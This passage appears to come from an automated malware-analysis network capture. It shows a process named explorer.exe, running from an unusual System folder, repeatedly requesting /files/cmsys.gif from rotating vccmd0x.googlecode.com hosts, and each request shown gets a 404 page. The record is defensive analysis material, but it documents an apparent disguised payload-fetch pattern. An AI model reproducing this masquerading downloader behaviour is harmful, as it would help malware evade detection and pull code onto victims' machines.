67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:43.460885048 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	60526	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:44.953408957 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:45.883838892 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:45.883853912 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	60561	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:50.878130913 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:51.807694912 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:51 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:51.807802916 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	60572	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:52.996484995 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:53.909276009 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:53 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:53.909320116 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	60583	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:54.841892004 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:55.772399902 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:55.773216009 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	60615	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:00.825922012 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:01.755189896 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:01 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:01.755228996 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	60626	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:02.844604015 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:03.793977976 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:03 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:03.794009924 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	60635	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:04.521572113 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:05.452581882 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:05 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:05.452691078 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	60661	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
